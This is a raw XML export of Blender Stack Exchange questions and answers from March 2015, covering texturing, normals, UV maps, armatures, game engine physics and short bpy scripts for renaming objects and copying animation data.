  <row Id="27116" PostTypeId="2" ParentId="27104" CreationDate="2015-03-14T15:10:06.590" Score="2" Body="&lt;p&gt;this is for texture name assuming the texture is on the first material :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;C = bpy.context&#xA;D = bpy.data&#xA;&#xA;objects = [obj for obj in D.objects if obj.type == 'MESH']&#xA;&#xA;for obj in objects :&#xA;   nodes = obj.material_slots[0].material.node_tree.nodes&#xA;   tex_node = next((node for node in nodes if node.type == 'TEX_IMAGE'), None)&#xA;   if tex_node :&#xA;       img_name = tex_node.image.name&#xA;       img_name = img_name.replace('.jpg','')&#xA;       obj.name = img_name.replace('.png','')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;incase its the material name :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;C = bpy.context&#xA;D = bpy.data&#xA;&#xA;objects = [obj for obj in D.objects if obj.type == 'MESH']&#xA;&#xA;for obj in objects :&#xA;   obj.name = obj.material_slots[0].material.name&#xA;   #obj.material_slots[0].material.name = obj.name   #if it's the other way&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-14T15:10:06.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27117" PostTypeId="1" AcceptedAnswerId="27120" CreationDate="2015-03-14T15:10:41.510" Score="2" ViewCount="3114" Body="&lt;p&gt;Every now and then when I am working on a model this happens&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NIaMK.jpg&quot; alt=&quot;them 2 part go see through when i import into UE4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why has it become a different color and then when I import it into UE4 they are see through can i fix this or is this some sort of bug?&lt;/p&gt;&#xA;" OwnerUserId="13164" LastActivityDate="2015-03-14T15:49:09.950" Title="part of my model are see through" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-03-14T15:51:14.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="27118" PostTypeId="2" ParentId="27113" CreationDate="2015-03-14T15:19:33.490" Score="9" Body="&lt;p&gt;this happens because either : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;have edited the mash after unwrapping&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;have scaled the object after unwrapping&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;to resolve this :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;apply scale :  &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and select scale&lt;/li&gt;&#xA;&lt;li&gt;unwrap the mesh again&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-14T15:19:33.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27119" PostTypeId="1" AcceptedAnswerId="27124" CreationDate="2015-03-14T15:20:59.753" Score="2" ViewCount="109" Body="&lt;p&gt;In the Blender Game Engine, I used servo control to move a cube along the x axis when &quot;W&quot; was pressed. That worked fine, but when I used the exact same settings (except for direction, of course) to make it move on the negative x axis when &quot;S&quot; was pressed, it wouldn't move. I even tried changing the direction to the positive x, and that worked fine. But when I switched it back, it didn't work again. And I don't think that it is because of directional friction, because this same thing happens when it is on a different platform, or even in midair. Also, it works fine when I don't give it an x limit, but even if I give it a limit of 10000 it wont budge. And I really need that limit on it. Does anybody know why this is happening? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6238" LastActivityDate="2015-03-14T16:50:56.830" Title="Game Engine: Cube won't move on negative x" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27120" PostTypeId="2" ParentId="27117" CreationDate="2015-03-14T15:42:19.993" Score="3" Body="&lt;p&gt;This usally happens when normals are facing the wrong side of the mesh&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JfTSu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Using the backface culling  in the &lt;strong&gt;&lt;em&gt;N&lt;/em&gt;&lt;/strong&gt; panel will make the concerned faces transparent (see-through as in your UE4 game engine)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yjuYv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;You can check your faces normals with this option in the &lt;strong&gt;&lt;em&gt;N&lt;/em&gt;&lt;/strong&gt; panel. This will show you the normals in the viewport.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6o9AN.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the normals consistent go in &lt;em&gt;Edit Mode&lt;/em&gt; with &lt;kbd&gt;Tab&lt;/kbd&gt;, select all with &lt;kbd&gt;A&lt;/kbd&gt; (only the bad faces could be enough), and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; (recalculate), or  &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; (recalculate the other direction), or select the faces and click Flip directions&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9ev5k.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-03-14T15:49:09.950" LastActivityDate="2015-03-14T15:49:09.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27121" PostTypeId="1" CreationDate="2015-03-14T16:27:28.670" Score="1" ViewCount="727" Body="&lt;p&gt;I have a sculpture with 250,000 vertices and I select the head (70,000 vertices) I would like to rotate the head 12 degrees around the z axis with proportional editing enabled so the neck and upper torso twist with it, when I do this Blender crashes on my computer. Is there any way around this problem? One way that seems to work is to deselect 95% of the vertices on the head, the trouble is I only know how to do this one vertice at a time!&lt;/p&gt;&#xA;" OwnerUserId="5049" LastActivityDate="2015-03-15T20:31:35.823" Title="Blender crashes when manipulating a large number of vertices with proportional editing enabled" Tags="&lt;mesh&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="27122" PostTypeId="1" AcceptedAnswerId="27123" CreationDate="2015-03-14T16:27:54.167" Score="3" ViewCount="2199" Body="&lt;p&gt;When I scale a bone in pose mode it will also affect the size of a bone connected to it. How can do it so that the connected bone keeps the same size? &lt;/p&gt;&#xA;" OwnerUserId="13069" LastActivityDate="2015-03-14T16:30:39.797" Title="Scale bone in pose mode without affecting child bone?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27123" PostTypeId="2" ParentId="27122" CreationDate="2015-03-14T16:30:39.797" Score="8" Body="&lt;p&gt;Uncheck inherit scale in the bone properties&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gFSEE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-14T16:30:39.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27124" PostTypeId="2" ParentId="27119" CreationDate="2015-03-14T16:50:56.830" Score="2" Body="&lt;p&gt;Since you are moving the Object in the negative direction ( -X ) you need to set the minimum limit instead of the maximum and it should be negative as the force applied on the object will be negative :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqPUs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-14T16:50:56.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27125" PostTypeId="1" AcceptedAnswerId="27318" CreationDate="2015-03-14T17:06:16.470" Score="11" ViewCount="6826" Body="&lt;p&gt;Is there a way to turn on multithreading to make use of all of my computers cores for simulations? I am running on a monster of a machine, but without utilizing all of the cores, physics simulations take a very long time to process when I have a complex scene with thousands of fractured objects acting under ridged body physics.&lt;/p&gt;&#xA;" OwnerUserId="13042" LastEditorUserId="3078" LastEditDate="2015-03-14T23:21:05.503" LastActivityDate="2015-08-15T23:45:22.013" Title="Is Physics calculation multithreading possible?" Tags="&lt;physics&gt;&lt;performance&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27127" PostTypeId="1" CreationDate="2015-03-14T17:45:02.567" Score="2" ViewCount="1798" Body="&lt;p&gt;How do you apply UV mapping and texturing to an object after it has been fractured? If I texture things before I fracture it, things mess up (A bug in blender right now) but if I wait to texture the object until after I fracture it, as far as I know right now I am forced to deal with each separate object one at a time causing not only a headache because of how long it takes, but when I do texturing like this, the texture doesn't line up properly from object to object. &lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2016-01-17T09:29:04.840" Title="Texturing Fractured Objects" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27128" PostTypeId="2" ParentId="27127" CreationDate="2015-03-14T18:44:03.313" Score="3" Body="&lt;p&gt;I would suggest using Scorpion 81's fracture modifier build instead of Blender's default cell fracture. There, the fracture is a modifier, so you can unwrap and apply your material to a cube, and after fracturing each piece of the fracture will retain it's original uv coordinates. In addition, Scorpion 81's fracture modifier build offers some great features for streamlining and making easier the fracturing process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to an example of the modifier in action:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=6Vcd1GQw5Ac&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=6Vcd1GQw5Ac&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the fracture modifier build's page:&#xA;&lt;a href=&quot;http://df-vfx.de/fracturemodifier/&quot; rel=&quot;nofollow&quot;&gt;http://df-vfx.de/fracturemodifier/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13165" LastActivityDate="2015-03-14T18:44:03.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27129" PostTypeId="2" ParentId="27121" CreationDate="2015-03-14T18:58:02.477" Score="3" Body="&lt;p&gt;It would probably be better to use a lattice modifier but if you wish to deselect vertices the following method seems to work for this example. Select the area you wish to manipulate then go to the 3D viewport header choose: Select &gt; Random, go to the bottom of the tool shelf: enter Percent&gt; 99% (for example) and Action&gt; Deselect.You may need to add a few vertices to fill in any gaps. You can now manipulate using the proportional editing tool set to a largeish fall off without unwelcome lag or crashes.&lt;/p&gt;&#xA;" OwnerUserId="5049" LastEditorUserId="5049" LastEditDate="2015-03-15T20:31:35.823" LastActivityDate="2015-03-15T20:31:35.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27130" PostTypeId="2" ParentId="27115" CreationDate="2015-03-14T19:09:29.610" Score="2" Body="&lt;p&gt;The data transfer modifier is new in 2.74, you can download RC1 here: &lt;a href=&quot;http://download.blender.org/release/Blender2.74/&quot; rel=&quot;nofollow&quot;&gt;http://download.blender.org/release/Blender2.74/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8081" LastActivityDate="2015-03-14T19:09:29.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27131" PostTypeId="1" AcceptedAnswerId="27147" CreationDate="2015-03-14T19:18:36.480" Score="1" ViewCount="253" Body="&lt;p&gt;I think that I have to create a beveled mesh 3D shape out of a stock image. (I am using 2.69 on Linux.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, it's a dollar sign. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was told to use an SVG curve image and convert it to mesh, and then extrude it, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed a bunch of tutorials and instructions here on how to do that, but it's not working as for example this explains:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/136/svg-to-mesh-conversion&quot;&gt;How can I convert an SVG to a mesh?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After conversion, the mesh is still a mess off planes, edges - in plane and diagonal - and so many vetices that i don't know how to even select them to fill or do a limited dissolve that people suggest here. Extruding it makes it even more unmanageable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, i wonder if there is actually a different format with which i should start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should i just somehow create the object myself, rather than deal with converting some other format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should i not even use Blender, but something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am so new to using Blender, that i don't even know what questions i should be asking or how - even after several days googling this, watching tutorials, and reading what i think is applicable in the manual. The explanations just create more questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="13166" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-03-15T03:46:28.797" Title="What's the easiest format to use to create a mesh object?" Tags="&lt;conversion&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27133" PostTypeId="1" AcceptedAnswerId="27134" CreationDate="2015-03-14T20:43:36.933" Score="1" ViewCount="2045" Body="&lt;p&gt;This object seems not to have a correct normal arranging of the handle; the light-grey parts of the handle are supposed to be just like the wooden parts. Anyway I can correct them? I tried using different UV mapping options, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jIFzn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jIFzn.png&quot; alt=&quot;UV mapped mesh in edit mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13169" LastEditorUserId="2217" LastEditDate="2015-03-15T02:16:51.203" LastActivityDate="2015-03-15T02:16:51.203" Title="Texture not showing on whole mesh" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="27134" PostTypeId="2" ParentId="27133" CreationDate="2015-03-14T21:42:53.573" Score="3" Body="&lt;p&gt;Your UV map has been scaled and/or moved from it's original location.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vBeki.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;You'll have to fix this manually, selecting all, scaling up a bit (1.3) for the most part. Then you have to fix each island 1 by 1, scaling and moving them to fit the image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To easily select an island, put your cursor on it and press &lt;kbd&gt;L&lt;/kbd&gt; &lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="5705" LastEditDate="2015-03-15T01:11:19.307" LastActivityDate="2015-03-15T01:11:19.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27136" PostTypeId="1" AcceptedAnswerId="27139" CreationDate="2015-03-14T22:31:31.267" Score="5" ViewCount="5157" Body="&lt;p&gt;I would like to know how to copy keyframes from one armature to another. The thing is, I have the same object, the same armature - the same everything - but in diferent blend files. I want to have all the animation in a single blend file. Can any one explain how to do that?&lt;/p&gt;&#xA;" OwnerUserId="7615" LastEditorUserId="3078" LastEditDate="2015-03-14T23:58:48.030" LastActivityDate="2015-03-16T00:07:22.797" Title="How to copy keyframes from one action to other" Tags="&lt;animation&gt;&lt;armature&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27137" PostTypeId="2" ParentId="27136" CreationDate="2015-03-14T22:34:16.343" Score="7" Body="&lt;p&gt;Select both objects and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt;&gt;&lt;em&gt;Animation data&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-14T22:34:16.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27138" PostTypeId="1" CreationDate="2015-03-14T22:56:04.053" Score="0" ViewCount="609" Body="&lt;p&gt;I'm trying to update a script from blender 2.55 to 2.7 which was supposed to work, but here I have an issue, to get the bone matrices I take the armature world_matrix and multiply by the bone local_matrix but all my bone seems to be at 0,0,0. I need to obtain the world matrix of each bone in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my test code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import *&#xA;&#xA;ob=bpy.context.selected_objects[0]&#xA;&#xA;for bone in ob.modifiers[0].object.pose.bones:&#xA;    print(&quot;matrix channel&quot;,bone.matrix_channel)&#xA;for bone in ob.modifiers[0].object.data.bones:&#xA;    print(&quot;matrix_local&quot;,bone.matrix_local)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For both I have 0,0,0 for location (last line 0 0 0 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13067" LastEditorUserId="13067" LastEditDate="2015-03-15T09:11:47.163" LastActivityDate="2015-03-15T13:23:31.083" Title="bone local_matrix all at location 0,0,0?" Tags="&lt;python&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27139" PostTypeId="2" ParentId="27136" CreationDate="2015-03-14T23:12:45.333" Score="10" Body="&lt;p&gt;this script will copy the animation data from the &lt;strong&gt;active&lt;/strong&gt; Object &lt;strong&gt;to&lt;/strong&gt; the &lt;strong&gt;selected&lt;/strong&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;active_obj = bpy.context.object&#xA;ad = bpy.context.object.animation_data&#xA;&#xA;properties = [p.identifier for p in ad.bl_rna.properties if not p.is_readonly]&#xA;objects = [o for o in bpy.context.selected_objects if o.type == active_obj.type]&#xA;objects.remove(active_obj)&#xA;&#xA;for obj in objects :&#xA;    if obj.animation_data == None :&#xA;        obj.animation_data_create()&#xA;    ad2 = obj.animation_data&#xA;&#xA;    for prop in properties:&#xA;        setattr(ad2, prop, getattr(ad, prop))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is test run :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J4z56.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-16T00:07:22.797" LastActivityDate="2015-03-16T00:07:22.797" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="27140" PostTypeId="1" AcceptedAnswerId="27142" CreationDate="2015-03-15T00:00:10.247" Score="2" ViewCount="414" Body="&lt;p&gt;I modelled an emblem with a skull and base/background, and I want the side borders to be smoothed, while the faces themselves get their own &quot;smoothing group&quot;.&#xA;For that, I marked the edges between the surface / sides as sharp and - to get subdivision right - set the mean crease to 1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked out fine until I bent the object to fit on the surface of another object.&#xA;If I look closely on the emblems skull now, some triangles get the wrong smoothing color, as if I didn't mark some edges correctly as sharp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LWB3C.png&quot; alt=&quot;Faulty skull&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The emblem is a converted SVG curve, which may already be suboptimal, but I didn't know better for my 3rd model ever. The creased edges seen here are also marked as sharp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WqJBC.png&quot; alt=&quot;Skull creation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same goes to the background of the emblem, though even more sublime. If you crank up your monitors brightness, or just look at my edited picture, you can see different colors, as if the mean crease was not high enough (it's at 1 for that surface).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WSTSO.png&quot; alt=&quot;Faulty back&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was a simple cylinder once with some extrusion. Creased edges are also marked as sharp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JMSwG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't even know if that can be corrected, as the surface is bent and somewhere the lightning just does its job. But the first thing is really going on my eyes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried playing around with the modifier order, but nothing helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/102/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=102&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13128" LastEditorUserId="-1" LastEditDate="2017-03-14T09:29:22.580" LastActivityDate="2015-03-15T00:57:22.100" Title="Sharp edges not sharp enough when bending?" Tags="&lt;modifiers&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27142" PostTypeId="2" ParentId="27140" CreationDate="2015-03-15T00:16:37.217" Score="6" Body="&lt;p&gt;You're using NGons (faces with more than 4 vertices/edges) and a curve converted to mesh, resulting in bad triangulated topology.&lt;br&gt;&#xA;They're exactly what you don't want to bend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smoothed curve surfaces need quad topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you can do is trying the face beauty fill (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; menu with faces selected), or selecting the flat faces deleting them and reconstruct something better (extruding/scaling inside the outer loop) or using remesh modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your big round face of the background, inset it with &lt;kbd&gt;I&lt;/kbd&gt; multiple times to the center and &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; at the center to merge the last loop at the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an exemple of a manual retopo. All quads, can be subsurfed, no bending artifact.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VEA6V.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Blend file here &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/103/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=103&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-15T00:57:22.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27143" PostTypeId="1" AcceptedAnswerId="27144" CreationDate="2015-03-15T00:20:18.780" Score="7" ViewCount="11084" Body="&lt;p&gt;When I open the file directly from my desktop, these assist lines don't seem to show. But when I Append it, these random dotted lines appear that seem to point to its parented object. Is there any possible way to hide these lines, because they can start to get really distracting when animating. Picture of my problem:&lt;img src=&quot;https://i.stack.imgur.com/xsbu6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13097" LastEditorUserId="5705" LastEditDate="2015-03-15T03:33:19.447" LastActivityDate="2020-05-21T21:45:21.473" Title="Removing dotted assist lines? Problem only occurs when Appending!" Tags="&lt;objects&gt;&lt;3d-view&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27144" PostTypeId="2" ParentId="27143" CreationDate="2015-03-15T00:24:59.603" Score="13" Body="&lt;p&gt;You can hide that in display tab by deselecting Relationship Lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press N while in 3D-view, then uncheck the option in &quot;Display&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mWLHs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="3247" LastEditDate="2015-03-15T00:30:49.550" LastActivityDate="2015-03-15T00:30:49.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27145" PostTypeId="1" CreationDate="2015-03-15T00:47:19.453" Score="3" ViewCount="432" Body="&lt;p&gt;Assume you have a colour mix node that you are using to determine the roughness value of a Glossy BSDF. Is there any way to actually see the roughness value?&#xA; Is there a way to see set values of nodes in general, if they are not set &quot;in place&quot;?&lt;/p&gt;&#xA;" OwnerUserId="13171" LastActivityDate="2018-02-28T01:57:47.010" Title="Determining &quot;hidden&quot; values in nodes" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27146" PostTypeId="2" ParentId="27145" CreationDate="2015-03-15T01:56:55.587" Score="3" Body="&lt;p&gt;&lt;strong&gt;Plainly as a number, no.  Approximately, yes.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can plug anything into the color input of an emission node and plug that into the surface material output.  This will let you visualize the values across the mesh in the viewport with rendered viewport mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a handy addon written by Greg Zaal, called &lt;a href=&quot;http://adaptivesamples.com/node-wrangler-update/&quot; rel=&quot;nofollow noreferrer&quot;&gt;node wrangler&lt;/a&gt;, which (along with a billion other useful things) will do this automatically by &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;LMB&lt;/kbd&gt; (left clicking) on a node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make numerical values easier to distinguish you can plug the value into a color ramp node first, then you can create a colorful gradient in the color ramp which will make it easier to see the value in the viewport.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="20051" LastEditDate="2018-02-28T01:57:47.010" LastActivityDate="2018-02-28T01:57:47.010" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27147" PostTypeId="2" ParentId="27131" CreationDate="2015-03-15T02:04:03.530" Score="2" Body="&lt;p&gt;For a dollar sign there are quite a few options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.- create a text object, modify it on edit mode to be a dollar sign using the font of your choice. You can then extrude and bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KvwHk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vHvqr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.- Import a SVG vectorial object and set some extrusion&#xA; and bevel to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fi9Lk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.- Using your image as background you can trace the shape manually as a curve object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mnT88.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-15T03:46:28.797" LastActivityDate="2015-03-15T03:46:28.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27148" PostTypeId="1" AcceptedAnswerId="27149" CreationDate="2015-03-15T02:54:48.013" Score="5" ViewCount="5299" Body="&lt;p&gt;A lot of the time when I'm UV Unwrapping and Texturing, the shadows get in the way of seeing the texture properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I display my textures on my model without lighting.&lt;/p&gt;&#xA;" OwnerUserId="3038" LastEditorUserId="8262" LastEditDate="2015-03-15T04:22:47.483" LastActivityDate="2015-03-18T04:01:16.253" Title="How to preview texture without lighting" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;light&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-03-18T11:44:38.247" ContentLicense="CC BY-SA 3.0" />
